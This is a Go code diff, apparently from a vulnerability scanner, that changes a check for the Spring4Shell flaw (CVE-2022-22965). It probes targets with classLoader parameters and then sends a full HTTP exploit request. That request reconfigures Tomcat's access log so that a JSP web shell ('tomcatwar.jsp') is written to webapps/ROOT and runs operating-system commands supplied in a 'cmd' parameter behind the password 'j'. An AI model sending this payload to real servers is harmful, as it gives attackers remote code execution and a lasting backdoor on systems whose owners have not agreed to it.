@@ -8,17 +8,20 @@ import (
8
8
)
9
9
10
10
func CVE_2022_22965 (u string ) bool {
11
- if req , err := util .HttpRequset (u + "?class.module.classLoader%5b1%5d=1" , "GET" , "" , false , nil ); err == nil {
12
- if req .StatusCode == 500 {
13
- if req2 , err := util .HttpRequset (u + "?class.module.classLoader=1" , "GET" , "" , false , nil ); err == nil {
14
- if req2 .StatusCode == 200 {
15
- return true
11
+ if oU , err := url .Parse (u ); nil == err && oU .Host != "" {
12
+ szUrl := oU .Scheme + "://" + oU .Host
13
+ if req , err := util .HttpRequset (szUrl + "?class.module.classLoader%5b1%5d=1" , "GET" , "" , false , nil ); err == nil {
14
+ if req .StatusCode == 500 {
15
+ if req2 , err := util .HttpRequset (szUrl + "?class.module.classLoader=1" , "GET" , "" , false , nil ); err == nil {
16
+ if req2 .StatusCode == 200 {
17
+ return true
18
+ }
16
19
}
17
20
}
18
21
}
19
- }
20
- if oU , err := url .Parse (u ); nil == err && oU .Host != "" {
22
+
21
23
cc := socket .NewCheckTarget (u , "tcp" , 50 )
24
+ defer cc .Close ()
22
25
cc .SendPayload ([]byte (strings .ReplaceAll (`GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
23
26
Host: ` + oU .Host + `
24
27
Accept-Encoding: gzip, deflate
0 commit comments